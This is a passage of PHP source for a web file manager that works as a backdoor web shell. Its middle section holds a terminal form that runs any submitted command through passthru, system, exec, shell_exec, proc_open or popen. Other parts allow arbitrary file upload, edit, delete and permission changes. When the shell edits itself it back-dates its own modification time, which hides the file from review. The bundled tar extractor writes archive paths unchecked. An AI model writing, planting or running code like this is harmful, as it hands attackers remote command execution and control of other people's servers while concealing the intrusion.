		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
